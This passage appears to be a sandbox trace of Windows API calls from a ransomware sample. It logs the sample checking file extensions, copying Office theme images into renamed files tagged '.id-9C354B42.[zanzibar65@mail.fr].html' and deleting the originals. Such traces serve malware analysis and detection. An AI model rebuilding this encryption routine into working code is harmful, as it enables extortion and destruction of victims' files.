lpString2=".GIF") returned 1 [0042.710] lstrlenW (lpString=".rar") returned 4 [0042.710] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.710] lstrlenW (lpString=".bz2") returned 4 [0042.710] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.710] lstrlenW (lpString=".7z") returned 3 [0042.710] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0042.710] lstrlenW (lpString=".dbf") returned 4 [0042.710] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0042.710] lstrlenW (lpString=".1cd") returned 4 [0042.710] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0042.710] lstrlenW (lpString=".jpg") returned 4 [0042.710] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.710] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0042.710] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.711] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=20627) returned 1 [0042.711] CloseHandle (hObject=0x1ac) returned 1 [0042.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0042.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.711] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.711] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0042.711] GetLastError () returned 0x0 [0042.711] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x5093, lpOverlapped=0x0) returned 1 [0042.713] WriteFile (in: hFile=0x1cc, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0042.714] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.714] WriteFile (in: hFile=0x1cc, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.715] SetEndOfFile (hFile=0x1cc) returned 1 [0042.715] CloseHandle (hObject=0x1cc) returned 1 [0042.715] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.716] SetEndOfFile (hFile=0x1ac) returned 1 [0042.716] CloseHandle (hObject=0x1ac) returned 1 [0042.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0042.717] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0042.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0042.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0042.717] lstrlenW (lpString=".doc") returned 4 [0042.717] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.717] lstrlenW (lpString=".docx") returned 5 [0042.717] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.717] lstrlenW (lpString=".pdf") returned 4 [0042.717] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.717] lstrlenW (lpString=".xls") returned 4 [0042.717] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.717] lstrlenW (lpString=".xlsx") returned 5 [0042.717] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.717] lstrlenW (lpString=".ppt") returned 4 [0042.717] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0042.717] lstrlenW (lpString=".zip") returned 4 [0042.717] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.717] lstrlenW (lpString=".rar") returned 4 [0042.717] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.717] lstrlenW (lpString=".bz2") returned 4 [0042.717] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.717] lstrlenW (lpString=".7z") returned 3 [0042.717] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0042.717] lstrlenW (lpString=".dbf") returned 4 [0042.718] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0042.718] lstrlenW (lpString=".1cd") returned 4 [0042.718] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0042.718] lstrlenW (lpString=".jpg") returned 4 [0042.718] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0042.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0042.718] lstrlenW (lpString=".doc") returned 4 [0042.718] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.718] lstrlenW (lpString=".docx") returned 5 [0042.718] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.718] lstrlenW (lpString=".pdf") returned 4 [0042.718] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.718] lstrlenW (lpString=".xls") returned 4 [0042.718] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.718] lstrlenW (lpString=".xlsx") returned 5 [0042.718] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.718] lstrlenW (lpString=".ppt") returned 4 [0042.718] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0042.718] lstrlenW (lpString=".zip") returned 4 [0042.718] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.718] lstrlenW (lpString=".rar") returned 4 [0042.718] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.718] lstrlenW (lpString=".bz2") returned 4 [0042.718] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.718] lstrlenW (lpString=".7z") returned 3 [0042.718] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0042.718] lstrlenW (lpString=".dbf") returned 4 [0042.718] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0042.719] lstrlenW (lpString=".1cd") returned 4 [0042.719] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0042.719] lstrlenW (lpString=".jpg") returned 4 [0042.719] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.719] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0042.719] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.719] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1560) returned 1 [0042.719] CloseHandle (hObject=0x1ac) returned 1 [0042.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0042.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.720] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.720] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0042.723] GetLastError () returned 0x0 [0042.723] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x618, lpOverlapped=0x0) returned 1 [0042.726] WriteFile (in: hFile=0x1cc, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x620, lpOverlapped=0x0) returned 1 [0042.726] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.726] WriteFile (in: hFile=0x1cc, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.727] SetEndOfFile (hFile=0x1cc) returned 1 [0042.727] CloseHandle (hObject=0x1cc) returned 1 [0042.727] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.727] SetEndOfFile (hFile=0x1ac) returned 1 [0042.728] CloseHandle (hObject=0x1ac) returned 1 [0042.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0042.728] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0042.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0042.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0042.729] lstrlenW (lpString=".doc") returned 4 [0042.729] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.729] lstrlenW (lpString=".docx") returned 5 [0042.729] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.729] lstrlenW (lpString=".pdf") returned 4 [0042.729] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.729] lstrlenW (lpString=".xls") returned 4 [0042.729] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.729] lstrlenW (lpString=".xlsx") returned 5 [0042.729] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.729] lstrlenW (lpString=".ppt") returned 4 [0042.729] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0042.729] lstrlenW (lpString=".zip") returned 4 [0042.729] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.729] lstrlenW (lpString=".rar") returned 4 [0042.729] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.729] lstrlenW (lpString=".bz2") returned 4 [0042.729] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.729] lstrlenW (lpString=".7z") returned 3 [0042.729] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0042.729] lstrlenW (lpString=".dbf") returned 4 [0042.729] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0042.729] lstrlenW (lpString=".1cd") returned 4 [0042.729] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0042.729] lstrlenW (lpString=".jpg") returned 4 [0042.729] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0042.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0042.730] lstrlenW (lpString=".doc") returned 4 [0042.730] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.730] lstrlenW (lpString=".docx") returned 5 [0042.730] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.730] lstrlenW (lpString=".pdf") returned 4 [0042.730] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.730] lstrlenW (lpString=".xls") returned 4 [0042.730] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.730] lstrlenW (lpString=".xlsx") returned 5 [0042.730] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.730] lstrlenW (lpString=".ppt") returned 4 [0042.730] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0042.730] lstrlenW (lpString=".zip") returned 4 [0042.730] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.730] lstrlenW (lpString=".rar") returned 4 [0042.730] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.730] lstrlenW (lpString=".bz2") returned 4 [0042.730] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.730] lstrlenW (lpString=".7z") returned 3 [0042.730] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0042.730] lstrlenW (lpString=".dbf") returned 4 [0042.730] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0042.730] lstrlenW (lpString=".1cd") returned 4 [0042.730] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0042.730] lstrlenW (lpString=".jpg") returned 4 [0042.730] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.731] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0042.731] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.731] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=33009) returned 1 [0042.731] CloseHandle (hObject=0x1ac) returned 1 [0042.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0042.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.731] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.731] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0042.732] GetLastError () returned 0x0 [0042.732] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x80f1, lpOverlapped=0x0) returned 1 [0043.084] WriteFile (in: hFile=0x1cc, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x8100, lpOverlapped=0x0) returned 1 [0043.085] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.086] WriteFile (in: hFile=0x1cc, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.086] SetEndOfFile (hFile=0x1cc) returned 1 [0043.086] CloseHandle (hObject=0x1cc) returned 1 [0043.086] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.086] SetEndOfFile (hFile=0x1ac) returned 1 [0043.087] CloseHandle (hObject=0x1ac) returned 1 [0043.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.087] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0043.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0043.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0043.088] lstrlenW (lpString=".doc") returned 4 [0043.088] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.088] lstrlenW (lpString=".docx") returned 5 [0043.088] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.088] lstrlenW (lpString=".pdf") returned 4 [0043.088] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.088] lstrlenW (lpString=".xls") returned 4 [0043.088] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.088] lstrlenW (lpString=".xlsx") returned 5 [0043.088] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.088] lstrlenW (lpString=".ppt") returned 4 [0043.088] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0043.088] lstrlenW (lpString=".zip") returned 4 [0043.088] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.088] lstrlenW (lpString=".rar") returned 4 [0043.088] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.088] lstrlenW (lpString=".bz2") returned 4 [0043.088] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.088] lstrlenW (lpString=".7z") returned 3 [0043.088] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0043.088] lstrlenW (lpString=".dbf") returned 4 [0043.088] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0043.088] lstrlenW (lpString=".1cd") returned 4 [0043.088] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0043.088] lstrlenW (lpString=".jpg") returned 4 [0043.088] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0043.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0043.089] lstrlenW (lpString=".doc") returned 4 [0043.089] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.089] lstrlenW (lpString=".docx") returned 5 [0043.089] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.089] lstrlenW (lpString=".pdf") returned 4 [0043.089] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.089] lstrlenW (lpString=".xls") returned 4 [0043.089] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.089] lstrlenW (lpString=".xlsx") returned 5 [0043.089] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.089] lstrlenW (lpString=".ppt") returned 4 [0043.089] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 